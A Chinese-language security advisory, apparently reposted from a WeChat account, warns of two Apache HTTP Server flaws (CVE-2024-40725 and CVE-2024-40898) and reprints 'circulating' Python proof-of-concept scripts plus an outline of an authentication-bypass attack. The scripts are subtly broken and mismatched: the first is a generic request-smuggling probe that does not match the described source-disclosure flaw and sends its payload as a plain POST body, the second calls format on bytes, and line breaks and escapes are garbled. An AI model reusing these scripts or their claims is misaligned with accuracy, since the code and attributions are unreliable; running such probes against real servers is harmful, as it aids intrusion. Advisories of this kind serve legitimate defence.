Apache两个高危漏洞poc预警CVE-2024-40725 & CVE-2024-40898

Apache两个高危漏洞poc预警CVE-2024-40725 & CVE-2024-40898

Apache HTTP Server 是美国阿帕奇(Apache)基金会的一款开源网页服务器,应用面比较广,影响范围较大。目前网络上有爆出的poc,请注意防范检测。

一、CVE-2024-40725

2024年7月18日,网上公开披露了一个Apache HTTP Server 信息泄露漏洞(CVE-2024-40725),Apache HTTP Server 是美国阿帕奇(Apache)基金会的一款开源网页服务器,ap_set_content_type_ex 函数用于设置请求的 content-type,请各位用户尽快安装漏洞补丁。

漏洞风险

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。修复版本通过将 ap_set_content_type_ex函数的参数由 AP_REQUEST_IS_TRUSTED_CT(r) 修改为 AP_REQUEST_IS_TRUSTED_CT(rr),以此来使用子请求的信任标志而不是当前请求的信任标志。该修复补丁是对 CVE-2024-39884 漏洞修复的完善。

风险等级:

高风险

影响范围:

http_server@[2.4.60, 2.4.62)

apache2@影响所有版本

网报POC:

import requestsimport argparsedef detect_http_request_smuggling(target_url):    """    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞    :param target_url: 目標伺服器的 URL    """    # 構造 HTTP Request Smuggling 攻擊請求    smuggled_request = (        "POST / HTTP/1.1rn"        "Host: {}rn"        "Content-Length: 0rn"        "Transfer-Encoding: chunkedrn"        "rn"        "0rnrn"        "GET /admin HTTP/1.1rn"        "Host: {}rn"        "User-Agent: smuggle-testrn"        "rn"    ).format(target_url, target_url)    try:        # 發送請求到目標伺服器        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)                # 判斷回應是否表示存在漏洞        if response.status_code == 200 and "admin" in response.text:            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")        else:            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")    except Exception as e:        print(f"檢測過程中出錯: {e}")if __name__ == "__main__":    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')    args = parser.parse_args()    detect_http_request_smuggling(args.url)

二、CVE-2024-40898 

CVE-2024-40898 是另一个影响 Apache HTTP Server 2.4.0 至 2.4.61 版本的高严重性漏洞。此漏洞涉及 mod_ssl 模块。当 SSLVerifyClient 指令以特定方式配置时,存在身份验证绕过风险。攻击者可以利用此漏洞绕过客户端身份验证,从而导致未经授权访问系统或敏感信息。

受影响的版本:

Apache HTTP Server 2.4.0 至 2.4.61

利用过程

1、分析目标 SSL 配置:

攻击者需要确定目标系统是否使用受影响的 Apache HTTP Server 版本并配置了 SSLVerifyClient 指令。

2、工艺绕过请求:

攻击者制作特定的 SSL 请求来利用身份验证逻辑中的漏洞,从而绕过用户身份验证。

例如,攻击者可以使用无效或部分有效的客户端证书来欺骗身份验证机制。

3、发送恶意请求:

精心设计的请求被发送到目标服务器,试图绕过 SSL 客户端身份验证。

如果成功,攻击者无需经过适当的身份验证即可访问受保护的资源或执行特权操作。

4、利用绕过身份验证:


攻击者利用绕过的身份验证进行进一步的攻击,例如数据窃取、配置更改或系统入侵。

网报poc:

import sslimport socketimport argparsedef detect_ssl_verification_bypass(target_host, target_port):    """    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞    :param target_host: 目標伺服器的主機名或 IP 地址    :param target_port: 目標伺服器的端口號    """    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)    context.verify_mode = ssl.CERT_OPTIONAL    try:        # 連接目標伺服器        with socket.create_connection((target_host, target_port)) as sock:            with context.wrap_socket(sock, server_hostname=target_host) as ssock:                ssock.sendall(b"HEAD / HTTP/1.1rnHost: {}rnrn".format(target_host.encode()))                response = ssock.recv(4096)                # 判斷回應是否表示存在漏洞                if b"200 OK" in response:                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")                else:                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")    except Exception as e:        print(f"檢測過程中出錯: {e}")if __name__ == "__main__":    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')    args = parser.parse_args()        # 分割主機名和端口號    target_host, target_port = args.url.split(":")    detect_ssl_verification_bypass(target_host, int(target_port))

三、修复建议:

    目前官方已有可更新版本,建议受影响用户升级至最新版本。


原文始发于微信公众号(信安王子):Apache两个高危漏洞poc预警CVE-2024-40725 & CVE-2024-40898

版权声明:admin 发表于 2024年7月23日 下午4:45。
转载请注明:Apache两个高危漏洞poc预警CVE-2024-40725 & CVE-2024-40898 | CTF导航

相关文章